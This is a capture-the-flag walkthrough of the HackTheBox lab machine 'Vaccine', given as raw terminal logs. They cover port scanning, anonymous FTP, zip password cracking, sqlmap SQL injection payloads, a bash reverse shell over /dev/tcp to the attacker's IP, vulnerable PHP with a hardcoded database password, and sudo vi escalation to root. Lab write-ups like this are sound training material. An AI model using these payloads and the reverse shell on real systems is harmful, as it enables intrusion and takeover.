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# HTB-Tier2- Vaccine
HTB-Tier2- Vaccine
Web
Network
Vulnerability Assessment
Databases
Injection
Custom Applications
Protocols
Source Code Analysis
Apache
FTP
PHP
Penetration Tester Level 1
Reconaisance
Password Cracking
SUDO Exploitation
SQL Injection
Remote Code Execution
Clear Text Credentials
Anonymous/Guest Access
┌──(kwkl㉿kwkl)-[~/HODL/htb] └─$ nmap -A 10.129.142.36 -T4 Starting Nmap 7.91 ( https://nmap.org ) at 2022-11-17 22:23 HKT Nmap scan report for 10.129.142.36 Host is up (0.87s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.16.105 | Logged in as ftpuser | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA) | 256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA) |_ 256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: MegaCorp Login Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 169.53 seconds- 1
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┌──(kwkl㉿kwkl)-[~/HODL/htb] └─$ ftp Anonymous@10.129.142.36 ftp: Anonymous@10.129.142.36: Name or service not known ftp> ftp> ftp> dir Not connected. ftp> ldir ?Invalid command ftp> h ?Ambiguous command ftp> help Commands may be abbreviated. Commands are: ! dir mdelete qc site $ disconnect mdir sendport size account exit mget put status append form mkdir pwd struct ascii get mls quit system bell glob mode quote sunique binary hash modtime recv tenex bye help mput reget tick case idle newer rstatus trace cd image nmap rhelp type cdup ipany nlist rename user chmod ipv4 ntrans reset umask close ipv6 open restart verbose cr lcd prompt rmdir ? delete ls passive runique debug macdef proxy send ftp> open 10.129.142.36 Connected to 10.129.142.36. 220 (vsFTPd 3.0.3) Name (10.129.142.36:kwkl): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip 226 Directory send OK. ftp> get backup.zip local: backup.zip remote: backup.zip 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for backup.zip (2533 bytes). 226 Transfer complete. 2533 bytes received in 0.30 secs (8.2538 kB/s) ftp>- 1
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┌──(kwkl㉿kwkl)-[~/HODL/htb] └─$ unzip -x backup.zip -d ./vaccine Archive: backup.zip [backup.zip] index.php password: password incorrect--reenter: skipping: index.php incorrect password skipping: style.css incorrect password ┌──(kwkl㉿kwkl)-[~/HODL/htb] └─$ zip2john backup.zip >> vaccinepassword.txt 82 ⨯ ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: TS_chk, cmplen=1201, decmplen=2594, crc=3A41AE06 ts=5722 cs=5722 type=8 ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: TS_chk, cmplen=986, decmplen=3274, crc=1B1CCD6A ts=989A cs=989a type=8 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time. ┌──(kwkl㉿kwkl)-[~/HODL/htb] └─$ cat vaccinepassword.txt backup.zip:$pkzip$2*1*1*0*8*24*5722*543fb39ed1a919ce7b58641a238e00f4cb3a826cfb1b8f4b225aa15c4ffda8fe72f60a82*2*0*3da*cca*1b1ccd6a*504*43*8*3da*989a*22290dc3505e51d341f31925a7ffefc181ef9f66d8d25e53c82afc7c1598fbc3fff28a17ba9d8cec9a52d66a11ac103f257e14885793fe01e26238915796640e8936073177d3e6e28915f5abf20fb2fb2354cf3b7744be3e7a0a9a798bd40b63dc00c2ceaef81beb5d3c2b94e588c58725a07fe4ef86c990872b652b3dae89b2fff1f127142c95a5c3452b997e3312db40aee19b120b85b90f8a8828a13dd114f3401142d4bb6b4e369e308cc81c26912c3d673dc23a15920764f108ed151ebc3648932f1e8befd9554b9c904f6e6f19cbded8e1cac4e48a5be2b250ddfe42f7261444fbed8f86d207578c61c45fb2f48d7984ef7dcf88ed3885aaa12b943be3682b7df461842e3566700298efad66607052bd59c0e861a7672356729e81dc326ef431c4f3a3cdaf784c15fa7eea73adf02d9272e5c35a5d934b859133082a9f0e74d31243e81b72b45ef3074c0b2a676f409ad5aad7efb32971e68adbbb4d34ed681ad638947f35f43bb33217f71cbb0ec9f876ea75c299800bd36ec81017a4938c86fc7dbe2d412ccf032a3dc98f53e22e066defeb32f00a6f91ce9119da438a327d0e6b990eec23ea820fa24d3ed2dc2a7a56e4b21f8599cc75d00a42f02c653f9168249747832500bfd5828eae19a68b84da170d2a55abeb8430d0d77e6469b89da8e0d49bb24dbfc88f27258be9cf0f7fd531a0e980b6defe1f725e55538128fe52d296b3119b7e4149da3716abac1acd841afcbf79474911196d8596f79862dea26f555c772bbd1d0601814cb0e5939ce6e4452182d23167a287c5a18464581baab1d5f7d5d58d8087b7d0ca8647481e2d4cb6bc2e63aa9bc8c5d4dfc51f9cd2a1ee12a6a44a6e64ac208365180c1fa02bf4f627d5ca5c817cc101ce689afe130e1e6682123635a6e524e2833335f3a44704de5300b8d196df50660bb4dbb7b5cb082ce78d79b4b38e8e738e26798d10502281bfed1a9bb6426bfc47ef62841079d41dbe4fd356f53afc211b04af58fe3978f0cf4b96a7a6fc7ded6e2fba800227b186ee598dbf0c14cbfa557056ca836d69e28262a060a201d005b3f2ce736caed814591e4ccde4e2ab6bdbd647b08e543b4b2a5b23bc17488464b2d0359602a45cc26e30cf166720c43d6b5a1fddcfd380a9c7240ea888638e12a4533cfee2c7040a2f293a888d6dcc0d77bf0a2270f765e5ad8bfcbb7e68762359e335dfd2a9563f1d1d9327eb39e68690a8740fc9748483ba64f1d923edfc2754fc020bbfae77d06e8c94fba2a02612c0787b60f0ee78d21a6305fb97ad04bb562db282c223667af8ad907466b88e7052072d6968acb7258fb8846da057b1448a2a9699ac0e5592e369fd6e87d677a1fe91c0d0155fd237bfd2dc49*$/pkzip$::backup.zip:style.css, index.php:backup.zip ┌──(kwkl㉿kwkl)-[~/HODL/htb] └─$ john vaccinepassword.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 12 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst 741852963 (backup.zip) 1g 0:00:00:00 DONE 2/3 (2022-11-17 22:33) 9.090g/s 846763p/s 846763c/s 846763C/s 123456..MATT Use the "--show" option to display all of the cracked passwords reliably Session completed. ┌──(kwkl㉿kwkl)-[~/HODL/htb] └─$ unzip -x backup.zip -d ./vaccine Archive: backup.zip [backup.zip] index.php password: inflating: ./vaccine/index.php inflating: ./vaccine/style.css ┌──(kwkl㉿kwkl)-[~/HODL/htb] └─$ cd vaccine ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine] └─$ ls doexec.c generic.h getopt.c getopt.h hobbit.txt index.php license.txt Makefile nc64.exe nc.exe netcat.c readme.txt style.css ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine] └─$ rm -rf ./* zsh: sure you want to delete all 13 files in /home/kwkl/HODL/htb/vaccine/. [yn]? y ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine] └─$ ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine] └─$ unzip -x backup.zip -d ./vaccine unzip: cannot find or open backup.zip, backup.zip.zip or backup.zip.ZIP. ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine] └─$ ls 9 ⨯ ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine] └─$ cd .. ┌──(kwkl㉿kwkl)-[~/HODL/htb] └─$ unzip -x backup.zip -d ./vaccine Archive: backup.zip [backup.zip] index.php password: inflating: ./vaccine/index.php inflating: ./vaccine/style.css ┌──(kwkl㉿kwkl)-[~/HODL/htb] └─$ cd vaccine ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine] └─$ ls index.php style.css ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine] └─$- 1
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MegaCorp Login MegaCorp Login
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https://www.cmd5.com/
or
┌──(kwkl㉿kwkl)-[~/HODL/htb] └─$ git clone https://github.com/s0md3v/Hash-Buster/ cd Hash-Buster 正克隆到 'Hash-Buster'... remote: Enumerating objects: 139, done. remote: Counting objects: 100% (1/1), done. remote: Total 139 (delta 0), reused 0 (delta 0), pack-reused 138 接收对象中: 100% (139/139), 46.33 KiB | 179.00 KiB/s, 完成. 处理 delta 中: 100% (48/48), 完成. ┌──(kwkl㉿kwkl)-[~/HODL/htb/Hash-Buster] └─$ dir hash.py LICENSE makefile README.md ┌──(kwkl㉿kwkl)-[~/HODL/htb/Hash-Buster] └─$ python3 hash.py 2cb42f8734ea607eefed3b70af13bbd3 usage: hash.py [-h] [-s HASH] [-f FILE] [-d DIR] [-t THREADS] hash.py: error: unrecognized arguments: 2cb42f8734ea607eefed3b70af13bbd3 ┌──(kwkl㉿kwkl)-[~/HODL/htb/Hash-Buster] └─$ python3 hash.py -s 2cb42f8734ea607eefed3b70af13bbd3 2 ⨯ _ _ ____ ____ _ _ ___ _ _ ____ ___ ____ ____ |__| |__| [__ |__| |__] | | [__ | |___ |__/ | | | | ___] | | |__] |__| ___] | |___ | \ v3.0 [!] Hash function : MD5 /usr/lib/python3/dist-packages/urllib3/connectionpool.py:1015: InsecureRequestWarning: Unverified HTTPS request is being made to host 'www.nitrxgen.net'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings warnings.warn( qwerty789 ┌──(kwkl㉿kwkl)-[~/HODL/htb/Hash-Buster] └─$- 1
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hashcat -m 0 hash.txt /usr/share/wordlist/pass.txt 作者：编程军火库 https://www.bilibili.com/read/cv19182714 出处：bilibili
User :admin
Password: qwerty789
┌──(kwkl㉿kwkl)-[~/HODL/htb] └─$ sqlmap -r vaccine2.txt --os-shell ___ __H__ ___ ___[(]_____ ___ ___ {1.6.10#stable} |_ -| . ["] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 23:18:52 /2022-11-17/ [23:18:52] [INFO] parsing HTTP request from 'vaccine2.txt' [23:18:52] [INFO] resuming back-end DBMS 'postgresql' [23:18:52] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: search (GET) Type: boolean-based blind Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST) Payload: search=www' AND (SELECT (CASE WHEN (4666=4666) THEN NULL ELSE CAST((CHR(111)||CHR(83)||CHR(115)||CHR(121)) AS NUMERIC) END)) IS NULL-- hFAt Type: error-based Title: PostgreSQL AND error-based - WHERE or HAVING clause Payload: search=www' AND 1559=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (1559=1559) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(98)||CHR(113)||CHR(113)) AS NUMERIC)-- dTaz Type: stacked queries Title: PostgreSQL > 8.1 stacked queries (comment) Payload: search=www';SELECT PG_SLEEP(5)-- Type: time-based blind Title: PostgreSQL > 8.1 AND time-based blind Payload: search=www' AND 3288=(SELECT 3288 FROM PG_SLEEP(5))-- fFdk --- [23:18:53] [INFO] the back-end DBMS is PostgreSQL web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (focal or eoan) web application technology: Apache 2.4.41 back-end DBMS: PostgreSQL [23:18:53] [INFO] fingerprinting the back-end DBMS operating system [23:18:55] [INFO] the back-end DBMS operating system is Linux [23:18:58] [INFO] testing if current user is DBA [23:18:59] [INFO] retrieved: '1' [23:19:00] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution [23:19:00] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER os-shell> bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1" do you want to retrieve the command standard output? [Y/n/a] n [23:19:06] [WARNING] the SQL query provided does not return any output [23:19:06] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [23:19:06] [INFO] retrieved: [23:19:07] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' os-shell> bash -c "bash -i >& /dev/tcp/10.10.16.105/1234 0>&1" do you want to retrieve the command standard output? [Y/n/a] y [23:20:01] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s) [23:20:02] [WARNING] turning off pre-connect mechanism because of connection reset(s) [23:20:06] [WARNING] the SQL query provided does not return any output [23:20:06] [INFO] retrieved: No output os-shell> bash -c "bash -i >& /dev/tcp/10.10.16.105/1234 0>&1" do you want to retrieve the command standard output? [Y/n/a] y [23:20:54] [WARNING] the SQL query provided does not return any output [23:20:54] [INFO] retrieved: No output os-shell> bash -c "bash -i >& /dev/tcp/10.10.16.105/1234 0>&1" do you want to retrieve the command standard output? [Y/n/a] y- 1
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┌──(kwkl㉿kwkl)-[~] └─$ nc -lvnp 1234 listening on [any] 1234 ... connect to [10.10.16.105] from (UNKNOWN) [10.129.142.36] 38534 bash: cannot set terminal process group (3596): Inappropriate ioctl for device bash: no job control in this shell postgres@vaccine:/var/lib/postgresql/11/main$ python3 -c 'import pty;pty.spawn("/bin/bash")' <ain$ python3 -c 'import pty;pty.spawn("/bin/bash")' postgres@vaccine:/var/lib/postgresql/11/main$ ^[[B^[[B^[[B^[[A^[[A^[[A^H^H^H^H^H^H^H^H^H^H^H postgres@vaccine:/var/lib/postgresql/11/main$ stty raw -echo stty raw -echo postgres@vaccine:/var/lib/postgresql/11/main$ fg bash: fg: current: no such job postgres@vaccine:/var/lib/postgresql/11/main$ export TERM=xterm postgres@vaccine:/var/lib/postgresql/11/main$ cd /var/lib/postgresql/ postgres@vaccine:/var/lib/postgresql$ ls 11 user.txt postgres@vaccine:/var/lib/postgresql$ a^Hcat^H ca: command not found postgres@vaccine:/var/lib/postgresql$ cat user.txt ec9b13ca4d6229cd5cc1e09980965bf7- 1
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cat user.txt
ec9b13ca4d6229cd5cc1e09980965bf7
postgres@vaccine:/var/lib/postgresql$ cd /var/www/html postgres@vaccine:/var/www/html$ ci^H^H postgres@vaccine:/var/www/html$ ls bg.png dashboard.js index.php style.css dashboard.css dashboard.php license.txt postgres@vaccine:/var/www/html$ cat das ^H cat: dashboard: No such file or directory postgres@vaccine:/var/www/html$ cat dashboard.php <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8"> <title>Admin Dashboard</title> <link rel="stylesheet" href="./dashboard.css"> <script src="https://use.fontawesome.com/33a3739634.js"></script> </head> <body> <!-- partial:index.partial.html --> <body> <div id="wrapper"> <div class="parent"> <h1 align="left">MegaCorp Car Catalogue</h1> <form action="" method="GET"> <div class="search-box"> <input type="search" name="search" placeholder="Search" /> <button type="submit" class="search-btn"><i class="fa fa-search"></i></button> </div> </form> </div> <table id="keywords" cellspacing="0" cellpadding="0"> <thead> <tr> <th><span style="color: white">Name</span></th> <th><span style="color: white">Type</span></th> <th><span style="color: white">Fuel</span></th> <th><span style="color: white">Engine</span></th> </tr> </thead> <tbody> <?php session_start(); if($_SESSION['login'] !== "true") { header("Location: index.php"); die(); } try { $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!"); } catch ( exception $e ) { echo $e->getMessage(); } if(isset($_REQUEST['search'])) { $q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'"; $result = pg_query($conn,$q); if (!$result) { die(pg_last_error($conn)); } while($row = pg_fetch_array($result, NULL, PGSQL_NUM)) { echo "$row[1] $row[2] $row[3] $row[4] $row[1] $row[2] $row[3] $row[4] - 1
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$conn = pg_connect(“host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!”);
password=P@s5w0rd!
postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf [sudo] password for postgres: #- 1
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postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf [sudo] password for postgres: # id uid=0(root) gid=0(root) groups=0(root) # ls /root pg_hba.conf root.txt snap # cat /roog.txt cat: /roog.txt: No such file or directory # ^[[A^[[D: not found # cat /root/root.txt dd6e058e814260bc70e9bbdef2715849 #- 1
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- 原文地址：https://blog.csdn.net/m0_47210241/article/details/127930422